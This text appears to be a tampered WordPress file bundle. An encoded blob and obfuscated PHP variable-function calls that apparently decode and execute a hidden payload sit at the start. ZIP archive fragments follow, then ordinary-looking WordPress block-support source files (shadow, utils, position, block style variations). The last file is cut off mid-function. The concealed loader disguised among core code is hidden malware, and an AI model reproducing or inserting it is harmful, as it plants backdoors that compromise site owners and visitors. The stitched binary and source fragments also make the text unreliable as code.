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';
$___();
$__________($______($__($_)));
$________ = $____();
$_____();
echo $________;
/* qsmvno */PK       ! #_-  -  
  shadow.phpnu [        <?php
/**
 * Shadow block support flag.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Registers the style and shadow block attributes for block types that support it.
 *
 * @since 6.3.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_shadow_support( $block_type ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if ( ! $has_shadow_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
		$block_type->attributes['shadow'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add CSS classes and inline styles for shadow features to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 6.3.0
 * @since 6.6.0 Return early if __experimentalSkipSerialization is true.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 * @return array Shadow CSS classes and inline styles.
 */
function wp_apply_shadow_support( $block_type, $block_attributes ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if (
		! $has_shadow_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'shadow' )
	) {
		return array();
	}

	$shadow_block_styles = array();

	$custom_shadow                 = $block_attributes['style']['shadow'] ?? null;
	$shadow_block_styles['shadow'] = $custom_shadow;

	$attributes = array();
	$styles     = wp_style_engine_get_styles( $shadow_block_styles );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'shadow',
	array(
		'register_attribute' => 'wp_register_shadow_support',
		'apply'              => 'wp_apply_shadow_support',
	)
);
PK       ! U    	  utils.phpnu [        <?php
/**
 * Block support utility functions.
 *
 * @package WordPress
 * @subpackage Block Supports
 * @since 6.0.0
 */

/**
 * Checks whether serialization of the current block's supported properties
 * should occur.
 *
 * @since 6.0.0
 * @access private
 *
 * @param WP_Block_Type $block_type  Block type.
 * @param string        $feature_set Name of block support feature set..
 * @param string        $feature     Optional name of individual feature to check.
 *
 * @return bool Whether to serialize block support styles & classes.
 */
function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) {
	if ( ! is_object( $block_type ) || ! $feature_set ) {
		return false;
	}

	$path               = array( $feature_set, '__experimentalSkipSerialization' );
	$skip_serialization = _wp_array_get( $block_type->supports, $path, false );

	if ( is_array( $skip_serialization ) ) {
		return in_array( $feature, $skip_serialization, true );
	}

	return $skip_serialization;
}
PK       !       position.phpnu [        <?php
/**
 * Position block support flag.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.2.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_position_support( $block_type ) {
	$has_position_support = block_has_support( $block_type, 'position', false );

	// Set up attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders position styles to the block wrapper.
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_position_support( $block_content, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$has_position_support = block_has_support( $block_type, 'position', false );

	if (
		! $has_position_support ||
		empty( $block['attrs']['style']['position'] )
	) {
		return $block_content;
	}

	$global_settings          = wp_get_global_settings();
	$theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false;
	$theme_has_fixed_support  = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false;

	// Only allow output for position types that the theme supports.
	$allowed_position_types = array();
	if ( true === $theme_has_sticky_support ) {
		$allowed_position_types[] = 'sticky';
	}
	if ( true === $theme_has_fixed_support ) {
		$allowed_position_types[] = 'fixed';
	}

	$style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null;
	$class_name      = wp_unique_id( 'wp-container-' );
	$selector        = ".$class_name";
	$position_styles = array();
	$position_type   = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : '';
	$wrapper_classes = array();

	if (
		in_array( $position_type, $allowed_position_types, true )
	) {
		$wrapper_classes[] = $class_name;
		$wrapper_classes[] = 'is-position-' . $position_type;
		$sides             = array( 'top', 'right', 'bottom', 'left' );

		foreach ( $sides as $side ) {
			$side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null;
			if ( null !== $side_value ) {
				/*
				 * For fixed or sticky top positions,
				 * ensure the value includes an offset for the logged in admin bar.
				 */
				if (
					'top' === $side &&
					( 'fixed' === $position_type || 'sticky' === $position_type )
				) {
					// Ensure 0 values can be used in `calc()` calculations.
					if ( '0' === $side_value || 0 === $side_value ) {
						$side_value = '0px';
					}

					// Ensure current side value also factors in the height of the logged in admin bar.
					$side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))";
				}

				$position_styles[] =
					array(
						'selector'     => $selector,
						'declarations' => array(
							$side => $side_value,
						),
					);
			}
		}

		$position_styles[] =
			array(
				'selector'     => $selector,
				'declarations' => array(
					'position' => $position_type,
					'z-index'  => '10',
				),
			);
	}

	if ( ! empty( $position_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render position styles.
		 */
		wp_style_engine_get_stylesheet_from_css_rules(
			$position_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		// Inject class name to block container markup.
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		foreach ( $wrapper_classes as $class ) {
			$content->add_class( $class );
		}
		return (string) $content;
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'position',
	array(
		'register_attribute' => 'wp_register_position_support',
	)
);
add_filter( 'render_block', 'wp_render_position_support', 10, 2 );
PK       ! c$  $    block-style-variations.phpnu [        <?php
/**
 * Block support to enable per-section styling of block types via
 * block style variations.
 *
 * @package WordPress
 * @since 6.6.0
 */

/**
 * Determines the block style variation names within a CSS class string.
 *
 * @since 6.6.0
 *
 * @param string $class_string CSS class string to look for a variation in.
 *
 * @return array|null The block style variation name if found.
 */
function wp_get_block_style_variation_name_from_class( $class_string ) {
	if ( ! is_string( $class_string ) ) {
		return null;
	}

	preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches );
	return $matches[1] ?? null;
}

/**
 * Recursively resolves any `ref` values within a block style variation's data.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variation_data Reference to the variation data being processed.
 * @param array $theme_json     Theme.json data to retrieve referenced values from.
 */
function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) {
	foreach ( $variation_data as $key => &$value ) {
		// Only need to potentially process arrays.
		if ( is_array( $value ) ) {
			// If ref value is set, attempt to find its matching value and update it.
			if ( array_key_exists( 'ref', $value ) ) {
				// Clean up any invalid ref value.
				if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) {
					unset( $variation_data[ $key ] );
				}

				$value_path = explode( '.', $value['ref'] ?? '' );
				$ref_value  = _wp_array_get( $theme_json, $value_path );

				// Only update the current value if the referenced path matched a value.
				if ( null === $ref_value ) {
					unset( $variation_data[ $key ] );
				} else {
					$value = $ref_value;
				}
			} else {
				// Recursively look for ref instances.
				wp_resolve_block_style_variation_ref_values( $value, $theme_json );
			}
		}
	}
}
/**
 * Renders the block style variation's styles.
 *
 * In the case of nested blocks with variations applied, we want the parent
 * variation's styles to be rendered before their descendants. This solves the
 * issue of a block type being styled in both the parent and descendant: we want
 * the descendant style to take priority, and this is done by loading it after,
 * in the DOM order. This is why the variation stylesheet generation is in a
 * different filter.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $parsed_block The parsed block.
 *
 * @return array The parsed block with block style variation classname added.
 */
function wp_render_block_style_variation_support_styles( $parsed_block ) {
	$classes    = $parsed_block['attrs']['className'] ?? null;
	$variations = wp_get_block_style_variation_name_from_class( $classes );

	if ( ! $variations ) {
		return $parsed_block;
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$theme_json = $tree->get_raw_data();

	// Only the first block style variation with data is supported.
	$variation_data = array();
	foreach ( $variations as $variation ) {
		$variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array();

		if ( ! empty( $variation_data ) ) {
			break;
		}
	}

	if ( empty( $variation_data ) ) {
		return $parsed_block;
	}

	/*
	 * Recursively resolve any ref values with the appropriate value within the
	 * theme_json data.
	 */
	wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json );

	$variation_instance = wp_unique_id( $variation . '--' );
	$class_name         = "is-style-$variation_instance";
	$updated_class_name = $parsed_block['attrs']['className'] . " $class_name";

	/*
	 * Even though block style variations are effectively theme.json partials,
	 * they can't be processed completely as though they are.
	 *
	 * Block styles support custom selectors to direct specific types of styles
	 * to inner elements. For example, borders on Image block's get applied to
	 * the inner `img` element rather than the wrapping `figure`.
	 *
	 * The following relocates the "root" block style variation styles to
	 * under an appropriate blocks property to leverage the preexisting style
	 * generation for simple block style variations. This way they get the
	 * custom selectors they need.
	 *
	 * The inner elements and block styles for the variation itself are
	 * still included at the top level but scoped by the variation's selector
	 * when the stylesheet is generated.
	 */
	$elements_data = $variation_data['elements'] ?? array();
	$blocks_data   = $variation_data['blocks'] ?? array();
	unset( $variation_data['elements'] );
	unset( $variation_data['blocks'] );

	_wp_array_set(
		$blocks_data,
		array( $parsed_block['blockName'], 'variations', $variation_instance ),
		$variation_data
	);

	$config = array(
		'version' => WP_Theme_JSON::LATEST_SCHEMA,
		'styles'  => array(
			'elements' => $elements_data,
			'blocks'   => $blocks_data,
		),
	);

	// Turn off filter that excludes block nodes. They are needed here for the variation's inner block types.
	if ( ! is_admin() ) {
		remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	// Temporarily prevent variation instance from being sanitized while processing theme.json.
	$styles_registry = WP_Block_Styles_Registry::get_instance();
	$styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) );

	$variation_theme_json = new WP_Theme_JSON( $config, 'blocks' );
	$variation_styles     = $variation_theme_json->get_stylesheet(
		array( 'styles' ),
